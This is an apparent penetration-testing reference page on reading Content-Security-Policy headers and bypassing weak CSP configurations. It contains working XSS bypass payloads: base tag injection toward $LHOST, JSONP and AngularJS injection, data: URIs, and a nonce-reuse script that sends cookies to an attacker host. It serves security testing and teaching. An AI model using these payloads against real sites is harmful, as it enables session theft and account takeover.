CSP Check
Content-Security-Policy (CSP) controls which resources a browser is allowed to load on a page. Checking CSP headers reveals whether the policy is strict enough to block XSS payloads or whether misconfigurations create bypass opportunities. A missing or overly permissive CSP is a finding on its own. A strict-looking CSP with bypassable directives is more valuable because developers assume they are protected. When CSP blocks your payloads, see XSS filter bypass for techniques that work within or around policy restrictions.
- Retrieving and reading CSP headers
- Identifying weak directives (
unsafe-inline,unsafe-eval, wildcard sources) - Bypass techniques for common CSP configurations
Retrieving CSP Headers
Check the response headers first. CSP can appear in Content-Security-Policy or the deprecated X-Content-Security-Policy. It can also be set via a <meta> tag in the HTML body, which is easy to miss when only inspecting headers.
content-security-policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src *
Explain command
| -skI | Silent mode, skip TLS verification, fetch response headers only. |
| grep -iE | Case-insensitive extended regex to match both CSP header variants. |
Explain command
| -sk | Silent mode and skip TLS verification. |
| grep -ioE | Case-insensitive, only-matching, extended regex to extract meta tag CSP definitions. |
Key directives to focus on: script-src controls JavaScript execution and is the primary XSS gate. default-src acts as the fallback for any directive not explicitly defined. object-src controls plugin loading (Flash, Java applets). base-uri restricts the <base> tag. A missing directive falls back to default-src. If default-src is also absent, that directive is unrestricted.
Identifying Weak Directives
The following misconfigurations weaken a CSP enough to allow exploitation.
unsafe-inline: if script-src includes 'unsafe-inline', any inline <script> tag or event handler executes normally. This effectively disables XSS protection for inline payloads.
unsafe-eval: allows eval(), Function(), setTimeout('string'), and setInterval('string'). An attacker who controls a string that reaches any of these functions gets code execution.
Wildcard sources: script-src * or script-src https: allows loading scripts from any origin. Even script-src *.example.com is exploitable if any subdomain has an XSS or serves controllable JavaScript.
Missing object-src: without this directive restricted, an attacker can load a Flash SWF or Java applet to execute code in the page context.
Missing base-uri: allows injecting <base href="..."> to redirect all relative script paths to an attacker-controlled server.
CSP Bypass Techniques
Even a CSP that looks restrictive may have exploitable gaps. The following techniques target specific directive configurations.
Base Tag Injection
When base-uri is not restricted, inject a <base> tag to redirect all relative script paths to your server. Any <script src="app.js"> on the page loads from your server instead of the original origin.
<base href="http://$LHOST/">
Host a file on your server matching the relative path the page loads. The browser fetches your version because the base URL has changed.
script-src 'self' Bypass
When CSP allows scripts only from the same origin, look for ways to get JavaScript onto that origin. File upload functionality that stores files in a web-accessible directory, JSONP endpoints that reflect callback parameters, and frameworks like AngularJS loaded from the same origin that allow template injection are all valid paths.
<script src="/api/jsonp?callback=alert(document.domain)//"></script>
If the application uses AngularJS loaded from self, inject an Angular expression in an ng-app context:
<div ng-app>{{constructor.constructor('alert(1)')()}}</div>
Nonce Bypass
CSP nonces (script-src 'nonce-abc123') should be random per response. Check if the nonce value stays the same across requests. If the nonce is static or predictable, include it in your payload. Dangling markup injection can also leak the nonce value: inject an unclosed tag attribute that captures subsequent page content including the nonce.
nonce-R4nd0mT0k3n nonce-R4nd0mT0k3n nonce-R4nd0mT0k3n
Explain command
| -skI | Silent mode, skip TLS verification, fetch response headers only. |
| grep -oP | Perl-compatible regex to extract nonce values from the CSP header. |
If the same nonce appears across multiple requests, include it directly in the injected script tag:
<script nonce="R4nd0mT0k3n">fetch('http://$LHOST/steal?c='+document.cookie)</script>
data: URI Bypass
When script-src includes data:, JavaScript executes from a data URI:
<script src="data:text/javascript,alert(document.domain)"></script>
unsafe-eval Exploitation
unsafe-eval opens multiple code execution paths. Any user-controlled string reaching these functions becomes executable:
eval('alert(document.domain)')
setTimeout('alert(document.domain)')
setInterval('alert(document.domain)')
new Function('alert(document.domain)')()
Wildcard Subdomain Abuse
If CSP allows *.example.com, any XSS on any subdomain of example.com can serve as a script source. Find a subdomain with reflected XSS or file upload functionality, host your payload there, then load it via a script tag from the main target.
References
-
MDN: Content Security PolicyDOCS: MDN: Content Security Policy, developer.mozilla.org/en-US/docs/Web/HTTP/CSP (opens in new tab)
CSP directive reference and configuration guide
-
PortSwigger: Bypassing CSPTOOL: PortSwigger: Bypassing CSP, portswigger.net/web-security/cross-site-scripting/content-security-policy (opens in new tab)
CSP bypass techniques and exploitation examples
-
Google CSP EvaluatorLINK: Google CSP Evaluator, csp-evaluator.withgoogle.com (opens in new tab)
Automated analysis of CSP headers for known bypasses